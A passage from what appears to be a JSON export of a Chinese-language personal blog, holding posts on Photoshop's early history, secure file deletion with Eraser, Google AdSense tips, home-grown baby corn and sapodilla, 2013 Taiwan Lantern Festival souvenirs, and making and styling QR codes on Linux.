Magic 這家電影特效公司,，發現這個軟體對於編輯像片很有用，於是也加入開發，這時候這個軟體被他們命名為「Display」，也就是 Photoshop 的前身。\n在一開始 Thomas 與 John 開發這個「Display」軟體只是為了自己使用而已，並沒有要將這個軟體拿來賣錢，而到後來，「Display」的功能越來越複雜，在 1988 時他們感覺這個軟體可以變成商業軟體賣錢，所以更名為「Photoshop」，並且到市場上尋找願意跟他們合作的公司。\n一開始是由 Barneyscan 這家公司買了 200 套 0.87 版的 Photoshop 製作成自己的商品 「Barneyscan XP」。\n而後來 Adobe 這家公司的藝術總監 Russell Brown 促使 Adobe 買下 Photoshop 的加強版的版權，在 1989 年四月簽下合約，而 Photoshop 1.0 版就在 1990 年年初上市。接下來經過十年，Adobe 賣出超過三百萬套的 Photoshop 軟體。\n第一版的 Photoshop 主要是以 Pascal 語言寫成的，使用的作業系統是蘋果的麥金塔（Apple Macintosh）， 而其中有少部份的高計算量程式則是使用 Motorola 68000 microprocessor 的組合語言（assembly language）。可想而知，這個版本並沒有像現今的 Photoshop 那樣強大，因為當時只有這兩個人在開發，Thomas 主要負責基礎的程式架構，而 John 則是負責撰寫影像處理的外掛程式（plug-in）。\n以下是一些 Photoshop 1.0 版的使用畫面，當時的螢幕都還是黑白的啊。\n1990 年當時的 Adobe Photoshop User Guide 可以從這裡下載。\n另外也有 1990 年的 Adobe Photoshop tutorial。\n","permalink":"https://blog.gtwang.org/funny/adobe-photoshop-101/","summary":"\u003cp\u003e世界上最著名的繪圖軟體 Adobe Photoshop，現在開放其最早的原始碼了！這對於大家來說真是個令人興奮的消息。這次釋出的原始碼是 Photoshop 1.0.1 版（西元 1990 年所發行的），所有的程式碼全部釋出，任何人都可以透過\u003ca href=\"https://computerhistory.org/blog/adobe-photoshop-source-code/\"\u003e電腦歷史博物館（Computer History Museum）\u003c/a\u003e網站下載。\u003c/p\u003e","title":"Adobe 釋出最早的 Photoshop 繪圖軟體 1.0.1 版原始程式碼"},{"content":"有時候我們會將一些機密性的資料儲存在電腦的硬碟中，例如銀行帳戶、密碼、信用卡卡號等等，雖然很多資訊安全專家高屢屢告誡，不要將這些機密資料儲存在電腦中，不過大家因為方便的因素，還是會存在電腦裡，這樣就不用每次都要敲鍵盤。\n而當硬碟要淘汰或是要換電腦時，舊硬碟在丟掉之前，最好把其中的機密性資料清除乾淨，否則在硬碟回收的過程就會有機密性資料外洩的風險。\n不要天真以為把資料丟進資源回收桶，再把回收桶清掉，資料就不見了，其實被刪掉的資料還是有可能被救回來的，像 Recuva 這類的檔案救援軟體就可以輕鬆的把剛刪掉的檔案救回來。這也是為什麼 Google Data Center 裡面的硬碟在丟掉之前，都要把硬碟「徹底摧毀」，因為這樣才能保證資料徹底刪除（請看下面的影片，真的是把硬碟徹底摧毀喔）。\nGoogle 可以把硬碟徹底摧毀，但是我們自己就沒這個本事（拿榔頭自己敲可不輕鬆），這時候可以使用 Eraser 這個軟體，它是一套可以免費下載的開放原始碼軟體，可以針對個別檔案、資料夾、甚至整顆硬碟作重復抹除的動作，有效降低資料被救回的可能性，而使用上也很容易上手，對於新手也很推薦。\nStep 1\n若要使用 Eraser，首先到 Eraser 的官方網站下載安裝檔：\nStep 2\n在下載的網頁中，選擇 Stable Builds 下載，下載後就直接執行。安裝步驟都很單純，都是直接按下一步就可以了。\nStep 3\n這個軟體是以 GNU General Public License 授權的，安裝前要勾選同意其中的條款。\nStep 4\n安裝類型直接選第一個 Typical 就可以了。\nStep 5\n按下 Install 進行安裝。\nStep 6\n安裝完成，按下 Finish 鍵。\nStep 7\n安裝完成後，在桌面上就會有一個 Eraser 的捷徑，點兩下即可執行 Eraser。\nEraser 開啓時，會出現 Erase Schedule 的視窗，若要刪除檔案就要先建立 Task。\nStep 8\n在「Erase Schedule」選單中選擇「New Task」。\nStep 9\n填入工作名稱（Task name），並選擇工作類型（Task Type），如果是刪除小檔案，工作類型就可以選擇立即執行（Run immediately），如果是刪除整顆硬碟，需要的時間就要很久，就可以選擇其他的類型。\n工作名稱與工作類型設定好之後，點選「Add Data」。\nStep 10\n加入要刪除的檔案（File）、資料夾（Files in folder）、未使用的硬碟空間（Unused disk space）或是直接刪除資源回收桶（Recycle Bin）的檔案。\n指定好之後按下「OK」就會加入指定的內容，如果有好多個檔案或資料夾要加入，就重複這個動作。\nStep 11\n加入了要刪除的檔案後，點選「OK」就會開始進行刪除的動作了。\n刪除的過程會因為檔案的多寡與大小而不同。\n等他整個跑完之後，就表示刪除完成了。\n","permalink":"https://blog.gtwang.org/useful-tools/eraser-delete-file-permanently/","summary":"\u003cp\u003e有時候我們會將一些機密性的資料儲存在電腦的硬碟中，例如銀行帳戶、密碼、信用卡卡號等等，雖然很多資訊安全專家高屢屢告誡，不要將這些機密資料儲存在電腦中，不過大家因為方便的因素，還是會存在電腦裡，這樣就不用每次都要敲鍵盤。\u003c/p\u003e","title":"使用 Eraser 徹底刪除硬碟中的機密性檔案（避免復原）"},{"content":"許多部落格或網站作者會在自己的部落格中加入 Google AdSense 廣告賺取收益，但由於 Google AdSense 的政策嚴格禁止點擊自己的廣告，如果不遵守這個規則最嚴重是會被 Google 停權的（就是以後永遠都不能使用 Google AdSense 賺錢了），而很多人對於此項規定都戰戰兢兢，很怕因為誤點自己的廣告而被停權，但是在撰寫與修改網頁時不免要常常瀏覽自己的網頁，如果廣告又放的不少的話，很容易就會不小心點擊到自己的廣告，像我的這個部落格就是這樣，以前剛開始撰寫時，一不小心點到就很緊張，還好後來都沒事。\n所幸後來 Google 推出了一個 Chrome 瀏覽器專用的 Google 發佈商工具列（Google Publisher Toolbar），這個工具可以讓你及時查詢 Google AdSense 廣告的收入，不用每次都要開啟 Google AdSense 的網頁查詢，另外最重要的是，安裝這個工具列之後，在瀏覽自己的部落格或網站時，自己的每個廣告上都會標示出最近的收益，而且點下去也會出現廣告的詳細資訊，而不會被視為點擊廣告，這樣就可以不用擔心誤點廣告的問題了。\n以下介紹如何安裝與使用Google 發佈商工具列。\nStep 1\n首先連到 Chrome 線上應用程式商店的 Google Publisher Toolbar 安裝網頁，點選「加到 CHROME」。\nStep 2\n接著會跳出確認的對話方塊，點選「新增」。\n安裝完成之後，工具列中就會出現一個 Google Publisher Toolbar 的圖示。\nStep 3\n接著要設定自己的網站或部落格網址，如果有好多個網站都有放置 Google AdSense 廣告，就把每個網址都加進去（一行一個，不用加 http://），加上去後，記得按下「儲存」。\n如果日後還要新增或變動網址的設定，可以在工具列的 Google Publisher Toolbar 圖示上按右鍵，選擇「選項」來開啟設定頁面。\nStep 4\n這時候開啓自己的部落格，如果是自己的 Google AdSense 廣告應該就會跟以前不一樣，廣告上會顯示廣告單元名稱，另外也會標注今天、昨天與最近 7 天的廣告收益。\n這時候點擊自己的廣告時，就會跳出該廣告的詳細資訊，包含廣告版位、成效指標、廣告顯示網址、實際聯結網址、網頁快照等。\n有時候自己看到某些廣告有興趣，想看又礙於自己不能點擊，就可以透過這樣的方式得到廣告的實際聯結網址。\n在工具列上的 Google Publisher Toolbar 點下去之後，就會出現及時的廣告收益報表，這個報表跟直接連到 Google AdSense 的網站資訊差不多，但是用這個方式來查詢卻方便很多。\n","permalink":"https://blog.gtwang.org/useful-tools/google-publisher-toolbar-adsense/","summary":"\u003cp\u003e許多部落格或網站作者會在自己的部落格中\u003ca href=\"/web-development/blogger-google-adsense/\"\u003e加入 Google AdSense 廣告賺取收益\u003c/a\u003e，但由於 Google AdSense 的政策嚴格禁止點擊自己的廣告，如果不遵守這個規則最嚴重是會被 Google 停權的（就是以後永遠都不能使用 Google AdSense 賺錢了），而很多人對於此項規定都戰戰兢兢，很怕因為誤點自己的廣告而被停權，但是在撰寫與修改網頁時不免要常常瀏覽自己的網頁，如果廣告又放的不少的話，很容易就會不小心點擊到自己的廣告，像我的這個部落格就是這樣，以前剛開始撰寫時，一不小心點到就很緊張，還好後來都沒事。\u003c/p\u003e","title":"Google Publisher Toolbar：即時查詢 AdSense 廣告收益、避免誤點自己的廣告"},{"content":"許多人在自己的網站或部落格中加入了 Google AdSense 廣告賺取收益，但是因為 Google 嚴格禁止點擊自己的廣告，網路上也有些案例，因為無效點及被 Google 停權了，搞得很多用 Google AdSense 的人心惶惶，不小心點到自己的廣告就很緊張。\n不過其實也不用太緊張，根據一篇 Google AdSense 官方部落格上的文章（Accidents happen）：\nAs most of you know, our program policies state that publishers are not permitted to click on their own ads for any reason. For this reason, we\u0026rsquo;ve received many emails from publishers letting us know that they\u0026rsquo;ve accidentally clicked on their own ads. If you\u0026rsquo;re one of these publishers, we truly appreciate the efforts you\u0026rsquo;ve made to monitor your account and keep it in good standing. However, we do understand that an accidental click may occur from time to time, so there\u0026rsquo;s no need to contact us each instance this occurs.\nBecause we closely monitor all account activity using engineering systems and thorough human analysis, chances are we\u0026rsquo;ve already detected your clicks on your ads and discounted them. While these clicks still show in your reports, we filter out their associated earnings so that advertisers aren\u0026rsquo;t charged. However, please keep in mind that we don\u0026rsquo;t ignore the clicks completely; if it appears to us that a publisher has been clicking on his own ads to inflate his earnings or an advertiser\u0026rsquo;s costs, we may disable the account to protect our advertisers\u0026rsquo; interests.\n由文中的說明，基本上 Google 能理解網站或部落格的作者不小心點擊自己廣告的情況，而一般這種狀況 Google 有辦法可以偵測的出來，而配認定為無效點擊的紀錄也會留在 AdSense 的報表中（有點擊記錄，但是沒有收益），所以不需要特別回報也不用太過擔心，如果想避免自己誤點廣告的狀況，可以使用 Google 發布商工具列（Google Publisher Toolbar），安裝之後會方便許多。\n雖然偶爾誤點廣告不需要擔心，但請注意：這裡的意思是 Google 可以容忍偶爾不小心誤點廣告，而不是允許刻意點擊自己的廣告，若無效點擊太多還是會有機會被停權的，所以還是要注意，如果發現自己的網站有不正常的點擊狀況，也可以透過 AdSense 的與支援單位聯絡網頁主動回報，例如短時間之內點擊數量突然暴增好幾倍的狀況，不要以為這樣是賺到，那是有人在惡搞你的網站，運氣不好是會讓你的 Google AdSense 帳號被停權的，保險起見，只要感覺不正常就回報吧。\n總之，若要靠部落格賺點零用錢的話，還是腳踏實地認真寫文章吧！文章好自然有人氣，廣告自然會有收益，細水長流才是根本之道。\n參考資料 香腸炒魷魚 ","permalink":"https://blog.gtwang.org/tips/google-adsense-accidents-happen/","summary":"\u003cp\u003e許多人在自己的網站或部落格中加入了 Google AdSense 廣告賺取收益，但是因為 Google 嚴格禁止點擊自己的廣告，網路上也有些\u003ca href=\"https://www.google.com.tw/search?q=adsense\u0026#43;%E5%81%9C%E6%AC%8A\"\u003e案例\u003c/a\u003e，因為無效點及被 Google 停權了，搞得很多用 Google AdSense 的人心惶惶，不小心點到自己的廣告就很緊張。\u003c/p\u003e","title":"誤點（不小心點擊）自己的 Google AdSense 廣告怎麼辦？"},{"content":"家裡自己種的玉米，常常一棵玉米植株會結太多玉米穗，這樣植株養分不夠玉米反而長不大，因此在玉米筍的階段就要把多的玉米穗摘下來，在北部一顆玉米樹只留一穗玉米，如果在南部陽光充足，就可以留更多。\n這是玉米植株，上面的就是玉米剛長出來的樣子，這時候如果摘下來就是玉米筍。\n這些是玉米疏果時所摘下來的玉米筍，看起來很多，其實剝出來的玉米筍只有一點點。\n開始來剝玉米筍。\n這就是剝出來的玉米筍。\n上面一整籃剝出來就只有這樣一小袋。\n","permalink":"https://blog.gtwang.org/agriculture/baby-corn/","summary":"\u003cp\u003e家裡自己種的玉米，常常一棵玉米植株會結太多玉米穗，這樣植株養分不夠玉米反而長不大，因此在玉米筍的階段就要把多的玉米穗摘下來，在北部一顆玉米樹只留一穗玉米，如果在南部陽光充足，就可以留更多。\u003c/p\u003e","title":"玉米筍：玉米植株疏果後的產物"},{"content":"這是家裡自己種的人心果樹，剛開始搞不清楚是什麼，網路上查了之後才曉得。\n人心果又稱為仁心果、赤鐵果、牛心梨，而在台灣又稱為吳鳳柿、人參果、台語查某李仔、查某囡仔。英文名稱為 Sapodilla、馬來文稱為 Ciku、印尼文稱為 Sawo。\n人心果是一種山欖科鐵線子屬的常綠中喬木，來自廣東，因縱剖面似人心而得名。\n人心果樹原產於美洲熱帶，結果的時間很長，大概需要一年時間。而未成熟的果實帶青綠色，由於富含膠質及單寧酸，是以有點酸澀又帶膠質很黏牙，所以不太好吃，像吃有沙的口香糖。所以，一般只能採完全成熟的人心果。人心果樹身所含的乳汁稱為「樹膠」（Chicle），從前是製造口香糖的主要原料。\n產地 人心果原產美洲中部，即中美洲到墨西哥一帶。現代人心果在多個地區做為一種經濟作物來種植，包括東南亞各國、中華人民共和國的海南、廣東、福建、廣西、雲南等省份、在台灣全島都可看到，主要集中在嘉義及雲林二縣。\n種植 人心果樹耐旱、耐風。熱帶或亞熱帶，於海拔 500 公尺以下的地區均可栽培。最為合適的土壤為砂土與砂壤土，石灰質土壤亦可。繁殖方式有播種、嫁接、高壓等。\n採收 人心果周年開花，故一年內有多次採收期。多數地區第一次採收期為每年的三到七月，第二次為九到十一月。\n人心果在還沒有完全熟透，即皮呈黃褐色、果肉乳白色帶綠，割破果柄流出的白色膠汁減少，而果肉尚硬時，便可採收。\n人心果不可在過生時採收，雖然也會軟化，但品質較差；過熟採收則果實容易腐壞，不易貯藏運輸，是以採收的時間需良好掌握，應採取先熟先採收，分期採收的做法。\n還沒熟透的果肉雖然尚硬，但果皮薄，易損傷，故需強調輕采、輕放及輕運。\n採收時以剪刀剪斷果柄，由於被果柄切口流出的白色膠汁會污染果面，剪果柄時應貼近果基部。而盛果容器最好以紙等材料逐層分隔，以免白色膠汁污染容器內各果果面。\n貯藏 剛採收的人心果肉質硬，富含膠質及單寧酸，難以食用，可存放5到7天軟化後食用。溫度越高，人心果軟化越快。一般保持在攝氏 20℃以上即可；要5天軟化需保持室溫 30℃左右、七天軟化則需 25℃左右。\n多商家利用採收至軟化之間的時間，將果實運輸至供應市場，運輸時需注意良好的通風。 若要長期貯藏，效果最好的是溫度 1.7 到 3.3℃，相對濕度 85% 到 90% 的冷庫中，可以貯藏8個星期，且保持品質。　參考網站：wikipedia\n","permalink":"https://blog.gtwang.org/funny/sapodilla/","summary":"\u003cp\u003e這是家裡自己種的人心果樹，剛開始搞不清楚是什麼，網路上查了之後才曉得。\u003c/p\u003e\n\u003cp\u003e人心果又稱為仁心果、赤鐵果、牛心梨，而在台灣又稱為吳鳳柿、人參果、台語查某李仔、查某囡仔。英文名稱為 Sapodilla、馬來文稱為 Ciku、印尼文稱為 Sawo。\u003c/p\u003e","title":"人心果：以前製作口香糖的原料"},{"content":"Google 的 AdSense 是一個可以讓網站或部落格透過廣告賺錢的一個計畫，只要從 Google AdSense 中註冊之後，就可以將 AdSense 的廣告放進自己的網站或部落格中，只要有人點擊網站或部落格中的廣告，Google AdSense 就會支付廣告的費用，大部分的網站與部落格都是靠著這樣的方式在賺錢的。\n而在 Google 的部落格 Blogger（blogspot）中，如果想要放置 AdSense 廣告，其實不難，除了使用 Blogger 內建的 AdSense 小工具之外，也可以自己貼上 AdSense 的程式碼，接下來就介紹這兩種方式的優缺點與使用方式。\n使用 Blogger 內建的 AdSense 功能 要在 Blogger 中放置 Google AdSense 廣告最直接的方式就是使用 Blogger 內建的 AdSense 整合功能，只要設定好 AdSense 帳戶連結，Blogger 就會直接將 AdSense 廣告放在你的部落格中。\nBlogger 內建 AdSense 功能的優缺點如下：\n優點：\n方便、簡單、快速。 不需要處理 HTML或 JavaScript 等程式碼。 缺點：\n無法使用 Google AdSense 的自訂頻道。 只能調整廣告配色、大小，無法調整字型與角樣式等參數。 以下是設定步驟，首先在 Blogger 的管理界面選單中，點選「收益」 ，接著選擇 Google AdSense 的「開始轉移」。\n這時候要輸入 Google AdSense 的帳戶資訊，Blogger 與 AdSense 可以允許使用不同的 Google 帳戶。如果使用同一個 Google 帳戶，就直接點選「連結 AdSense 帳戶」，如果要選擇不同的 Google 帳戶，就在右方填入 AdSense 帳戶的相關資訊。\nAdSense 帳戶設定好之後，就可以開始選擇在部落格的哪些位置放置廣告了。\n這裡可以依照自己的狀況選擇廣告配置的組合，總共有三種選擇。\n選擇好廣告配置並儲存之後，點選左邊主選單「版面配置」，在這裡就可以自己用滑鼠調整 AdSense 廣告的放置位置，而如果想要調整文章中間的 AdSense 廣告，則可點選「網誌文章」區塊的編輯功能。\n點選「網誌文章」區塊的編輯功能後，就會看到廣告的各種選項。\n以上就是 Blogger 廣告整合功能的使用方式。\n使用 HTML/JavaScript 功能 第二種放置 Google AdSense 的方法是使用 Blogger 的 HTML/JavaScript 小工具，用這種方式的話，在調整廣告的配色與字型等參數會比較有彈性，但就是要自己貼 AdSense 的廣告程式碼，而其優缺點如下：\n優點：\n可使用 Google AdSense 的自訂頻道。 可調整所有的廣告配置參數，包含配色、大小、字型、角樣式等。 可以藉由 HTML 微調廣告放置之位置。 缺點：\n必須先在 AdSense 網頁建立廣告，才能將廣告貼在 Blogger 部落格中。 需要自行處理 HTML或 JavaScript 等程式碼。 以下是設定步驟，首先到 AdSense 的網頁，選擇「我的廣告」籤頁後，點選「新增廣告單元」建立廣告。\n接著建立好新的廣告後，就點選「儲存並取得程式碼」。\n程式碼大約長得像這樣。\n這時候就將這些程式碼複製起來，然後到部落格的「版面配置」中，在要放置廣告的地方新增一個小工具。\n選擇 HTML/JavaScript 小工具。\n將剛剛的廣告程式碼直接貼上去，再按下「確定」。\n這樣就完成了。\n","permalink":"https://blog.gtwang.org/web-development/blogger-google-adsense/","summary":"\u003cp\u003eGoogle 的 AdSense 是一個可以讓網站或部落格透過廣告賺錢的一個計畫，只要從 Google AdSense 中註冊之後，就可以將 AdSense 的廣告放進自己的網站或部落格中，只要有人點擊網站或部落格中的廣告，Google AdSense 就會支付廣告的費用，大部分的網站與部落格都是靠著這樣的方式在賺錢的。\u003c/p\u003e","title":"如何在 Blogger 部落格放置 Google AdSense 廣告賺取收益"},{"content":"2013 台灣燈會有分好多個燈區，大部分都在新竹高鐵站附近，而媽祖傳奇燈區則是在竹北天后宮前面，媽祖的主燈前面有個噴水池，大概每隔幾分鐘就會有音樂與噴水表演。\n最近因為北港媽祖有來竹北繞境，繞境完之後就駐轎在竹北天后宮，直到三月十日台灣燈會落幕為止，所以現在到竹北天后宮就可以看到北港媽祖喔！建議去賞花燈的時候，也可以進去天后宮順便拜拜，祈求平安。\n在天后宮裡面，有設立販售燈會紀念品的攤位，拜拜完可以順便去買個紀念品喔，我們去的時候就買了一條媽祖紀念圍巾，還會送一個 2013 台灣燈會紀念燈籠或是狀元帽（二選一）。除了圍巾，也有賣紀念餅盒（一盒只賣 500 元），剛好可以買來拜拜吃平安！\n這裡的交通因為沒有管制，如果是自己開車或是騎機車，都可以直接停在燈區旁邊，或是直接停在媽祖廟的停車場（如果停在停車場的話，就要去拜拜喔），很方便。\n","permalink":"https://blog.gtwang.org/life/taiwan-lantern-festival-2013-mazu/","summary":"\u003cp\u003e2013 台灣燈會有分好多個燈區，大部分都在新竹高鐵站附近，而媽祖傳奇燈區則是在竹北天后宮前面，媽祖的主燈前面有個噴水池，大概每隔幾分鐘就會有音樂與噴水表演。\u003c/p\u003e","title":"2013 台灣燈會媽祖傳奇主題燈區（可以順便去看北港媽祖）"},{"content":"今年的「2013 台灣燈會」在新竹舉辦，在燈會的紀念品中當然少不了紀念燈籠了，今年的紀念燈籠有兩種款式，一個是平安消災燈，另一個是富貴招財燈，照片中這個是富貴招財燈，圖案是牡丹花。\n這個燈籠在台灣燈會網站標價 299 元，在竹北天后宮的「媽祖傳奇燈區」只賣 100 元，而如果是有買媽祖紀念圍巾，也會送一個紀念燈籠或是狀元帽。\n「媽祖傳奇燈區」這邊的販賣攤位設在天后宮的裡面，如果要買的人可以去天后宮買，順便可以過一過媽祖娘娘的香爐。\n這個燈籠主要材質是軟的塑膠片。\n上方提的部份也是塑膠片做成的，應該是做成竹片的感覺。\n燈籠的另一面寫者「富貴招財」。\n燈籠內部就是一個 LED 燈。\nLED 燈的開關在燈籠的上方。\n這個燈籠打開之後，會有各種顏色，不斷變化。\n因為顏色變化很多，看起來就滿漂亮的，給小朋友玩剛剛好。\n燈會時間 : 2013年2月10日(星期日)至3月10日星期日\n燈會地點 : 新竹縣竹北市竹北天后宮\n","permalink":"https://blog.gtwang.org/unboxing/taiwan-lantern-festival-2013-lantern/","summary":"\u003cp\u003e今年的「2013 台灣燈會」在新竹舉辦，在燈會的紀念品中當然少不了紀念燈籠了，今年的紀念燈籠有兩種款式，一個是平安消災燈，另一個是富貴招財燈，照片中這個是富貴招財燈，圖案是牡丹花。\u003c/p\u003e","title":"[開箱] 2013 台灣燈會紀念燈籠（富貴招財燈）"},{"content":"竹北天后宮前面最近有「2013 台灣燈會」的「媽祖傳奇燈區」，燈會活動期間有賣文昌帝君狀元帽，一頂賣 100 元，如果是有買媽祖紀念圍巾，也會送一個 2013 台灣燈會紀念燈籠或是狀元帽。\n因為竹北天后宮裡面本來就有祀奉文昌帝君，所以拿到之後，可以馬上到文昌帝君的香爐上面過爐，請文昌帝君開智慧，可助求金榜題名者「智竅洪開，理解無礙。加官晉祿，金榜題名。」，助職場奮鬥者「思慮清晰，創意無限。才利雙得，直上青雲。」，給小朋友戴著開智慧也很適合。\n燈會時間 : 2013年2月10日(星期日)至3月10日星期日 燈會地點 : 新竹縣竹北市竹北天后宮\n","permalink":"https://blog.gtwang.org/unboxing/taiwan-lantern-festival-2013-hat/","summary":"\u003cp\u003e竹北天后宮前面最近有「2013 台灣燈會」的「媽祖傳奇燈區」，燈會活動期間有賣文昌帝君狀元帽，一頂賣 100 元，如果是有買\u003ca href=\"/unboxing/taiwan-lantern-festival-2013-mazu-scarf/\"\u003e媽祖紀念圍巾\u003c/a\u003e，也會送一個 \u003ca href=\"/unboxing/taiwan-lantern-festival-2013-lantern/\"\u003e2013 台灣燈會紀念燈籠\u003c/a\u003e或是狀元帽。\u003c/p\u003e","title":"[開箱] 2013 台灣燈會竹北天后宮狀元帽：文昌帝君開智慧"},{"content":"最近「2013 台灣燈會」在竹北高鐵站舉行，我到竹北天后宮這邊的「媽祖傳奇燈區」買了一條媽祖的紀念圍巾，一條賣 390 元，包裝很精美，送禮感覺也很體面，而買這條圍巾除了會送一張「小豪宅擲交大賽」的參賽卷（已經放在裡面了）之外，也會送一個 2013 台灣燈會紀念燈籠或是一頂狀元帽（二選一）。\n這個媽祖紀念圍巾有兩種款式，一種藍色配紅色的，另一種是黑色配紅色的，也就是這裡照片中的這種，我個人是感覺這種顏色比較好看。\n因為是媽祖的紀念圍巾，拿到之後一定要去媽祖的香爐上過爐，可祈求諸事順利。\n","permalink":"https://blog.gtwang.org/unboxing/taiwan-lantern-festival-2013-mazu-scarf/","summary":"\u003cp\u003e最近「2013 台灣燈會」在竹北高鐵站舉行，我到竹北天后宮這邊的「媽祖傳奇燈區」買了一條媽祖的紀念圍巾，一條賣 390 元，包裝很精美，送禮感覺也很體面，而買這條圍巾除了會送一張「小豪宅擲交大賽」的參賽卷（已經放在裡面了）之外，也會送一個 \u003ca href=\"/unboxing/taiwan-lantern-festival-2013-lantern/\"\u003e2013 台灣燈會紀念燈籠\u003c/a\u003e或是一頂\u003ca href=\"/unboxing/taiwan-lantern-festival-2013-hat/\"\u003e狀元帽\u003c/a\u003e（二選一）。\u003c/p\u003e","title":"[開箱] 2013 台灣燈會竹北天后宮媽祖紀念圍巾"},{"content":"一般的二維條碼都是設計給電腦看的，所以人看起來都會感覺很醜，這裡我們介紹如何使用免費又強大的繪圖軟體 Gimp 來改造傳統的二維條碼，讓二維條碼不但可以給電腦辨識，更可以給人不錯的質感。\n準備原始圖片 首先要準備一個比較大的二維條碼，因為在製作時，最好使用較大解析度的圖，製作完成後再依需求縮小尺寸，這樣圖形的品質會比較好。\n如果用 qrencode 指令的話，就用 -s 參數指定較大的 size：\nqrencode -o sealmemory.png -s 16 \u0026#39;http://sealmemory.blogspot.tw/\u0026#39; 這個是產生的二維條碼：\n然後到 Google 搜尋圖片，找一張自己喜歡的紋路圖片，這我我們選擇一張木頭紋路的圖：\n有了這兩張圖檔，我們就可以開始改造傳統的二維條碼了。\n使用 Gimp 首先用 Gimp 開啟傳統的二維條碼。\n傳統的二維條碼只有黑白兩色，因此通常預設會使用灰階格式，在處理之前記得要把圖片的格式改為 RGB 的格式，否則之後的圖都會是黑白的。\n接著把剛剛從 Google 找到的圖片以圖層的方式開啟。\n開啟後，右方圖層瀏覽器中應該就有兩個圖層。\n因為我們下載的紋理太明顯，如果不喜歡可以用「濾鏡」中的「高斯模糊」處理一下。\n模糊半徑可以自己調整。\n經過模糊處理，感覺就比較柔和，如果喜歡原本的木頭圖案，也可以跳過模糊的步驟。\n接著使用右方的圖層瀏覽器，將木頭紋理先隱藏（點選眼睛的圖示），然後選擇二維條碼的圖層。\n接著我們要把二維條碼的方塊圖案修改成比較圓弧的形狀，使用左方的色彩選擇工具，將二維條碼的所有黑色的部份選擇起來。\n使用「選擇」選單中的「縮小」。\n縮小區域選擇 5 像素，這裡的數值就是圓角的半徑，如果原始圖檔的大小很大，這裡就可以使用較大的數值。\n經過「縮小」處理後，再用「擴張」處理一次。\n擴大的區域設定要跟上面縮小的區域一樣。\n處理完後，放大來看應該會發現選擇的區域變得比較圓滑。\n這時候，傳統的二維條碼就沒有用了，使用右方的圖層瀏覽器把原本被隱藏的木頭紋理圖層開起來，並用滑鼠選擇這個圖層。\n這時候應該會顯示木頭紋理圖層與剛剛所處理的選擇區域。\n選擇「油罐填充工具」。\n設定填滿的顏色。\n選擇「填滿整個區域」。\n將剛剛的選區域填滿。\n這樣我們就有一個比較圓弧的二維條碼了，接著把選擇區域取消。\n為了使二維條碼更有變化性，我們再加點別的顏色，選擇「Fuzzy Select Tool」。\n按住 Shift 鍵，將二維條碼中的正方形部份選擇起來。\n再用一次「油罐填充工具」，將這些正方形區域圖上更鮮艷的顏色，這樣看起來就更生動了。\n接著使用色彩選擇工具，配合 Shift 鍵將二維條碼深色的部份選擇起來。\n接著使用「選擇」中的「相反」，讓選擇區域變成淺色區域。\n使用「濾鏡」、「光影」的「陰影效果」。\n偏移量與半徑可以自己依喜好調整，偏移量越大看起來深度越深。\n加上陰影後，整個質感就不一樣了。\n接著加上文字，使用文字工具。\n自己找個適合的地方，寫上代表性的文字。\n最後因為加入陰影時，整張圖片週圍會多出一些沒有用的陰影部份，這時候可以把它裁切掉。\n使用右方的裁切工具進行裁切。裁切時可以把原始的二維條碼圖層放到最上方，這樣就可以依照他的大小裁切。\n選擇裁切區域時，放大一點會裁的比較準。\n這樣就大功告成啦！\n比起原本的二維條碼實在差太多了，放在部落格首頁也不會感覺礙眼。\n大家可以自己發揮創意，但是記得製作完成之後，要先測試一下，如果將二維條碼改變太多，有可能會發生無法讀取的狀況，像筆者製作的這個加入圖案的二維條碼：\n因為佔去太多原本的條碼資訊，就造成這格二維條碼沒辦法讀取，若是碰到像這樣的狀況，可以把圖案縮小，不要佔去太多的條碼資訊，或是在產生原始二維條碼的時候，提高錯誤修正層級，這樣就可以減少讀不出來的機率。\n","permalink":"https://blog.gtwang.org/tips/gimp-qr-code/","summary":"\u003cp\u003e一般的二維條碼都是設計給電腦看的，所以人看起來都會感覺很醜，這裡我們介紹如何使用免費又強大的繪圖軟體 \u003ca href=\"https://www.gimp.org/\"\u003eGimp\u003c/a\u003e 來改造傳統的二維條碼，讓二維條碼不但可以給電腦辨識，更可以給人不錯的質感。\u003c/p\u003e","title":"使用 Gimp 美化二維條碼（QR Code）"},{"content":"要在 Linux 中製作二維條碼（QR Code）除了使用 qrencode 指令之外，也可以使用 Qreator 這個圖形介面（GUI）的工具，這個工具也是一個免費的開放原始碼軟體。\n如果是在 Ubuntu/Debian Linux 中，可以用 apt 安裝：\nsudo apt-get install qreator Qreator 的介面很簡單，開啟時有四種類型的二維條碼可以選擇，分別是：網址、文字、地理位置與 Wifi 網路。\n網址是一般最常用的，就是單純的 HTTP 的 URL。\n文字就是很單純的將文字轉為二維條碼。\n地理位置就是將經緯度轉為二維條碼。\n最後一個就是將無線網路（wifi）的資訊轉為二維條碼，包含加密方式、SSID 與密碼。\n除了在主視窗中選擇之外，也可以從啟動圖示的右鍵選單中選擇要製作的二維條碼類型。\n雖然 Qreator 有圖形介面，在使用上比較方便，但是它沒像 qrencode 一樣提供那麼多可調整的選項（例如「錯誤修復層級」等），因此在使用上比較沒有彈性，筆者個人還是喜歡使用 qrencode 來製作二維條碼。\n參考資料 OMG! Ubuntu ","permalink":"https://blog.gtwang.org/useful-tools/linux-qreator-qr-code/","summary":"\u003cp\u003e要在 Linux 中製作二維條碼（QR Code）除了使用 \u003ca href=\"/useful-tools/linux-qrencode-qr-code/\"\u003eqrencode\u003c/a\u003e 指令之外，也可以使用 Qreator 這個圖形介面（GUI）的工具，這個工具也是一個免費的開放原始碼軟體。\u003c/p\u003e\n\u003cp\u003e如果是在 Ubuntu/Debian Linux 中，可以用 apt 安裝：\u003c/p\u003e","title":"在 Linux 中使用 Qreator 產生二維條碼（QR Code）"},{"content":"在傳統上在 iPad 上使用 Flipboard、Pulse News 或 Google 潮流同步 （Google currents）等新聞閱讀 App 時，你必須先行指定新聞的來源，也就是選擇自己喜歡的新聞網站，然後這類的 App 就會將這些選定網站的內容整理好給你，方便你一次閱讀所有有興趣的網站內容。\n舊式的新聞閱讀軟體雖然已經讓人省去切換網站的繁瑣步驟，讓閱讀新聞更加便利，但美中不足的是，這些些新聞的來源都是依據自己指定的網站，而你必須先知道有哪些網站的內容符合自己的興趣，要知道網路上有哪些網站有自己喜歡的內容是一件很困難的事情，如果沒有一些適當的網站清單，也就很容易錯過網路上的一些好文章，譬如說對 Linux 有興趣的人如果不知道 DistroWatch.com 或 Linux Today 的話就有點可惜。\nZite 是一個嶄新的新聞閱讀 App，不同於以往的訂閱模式，Zite 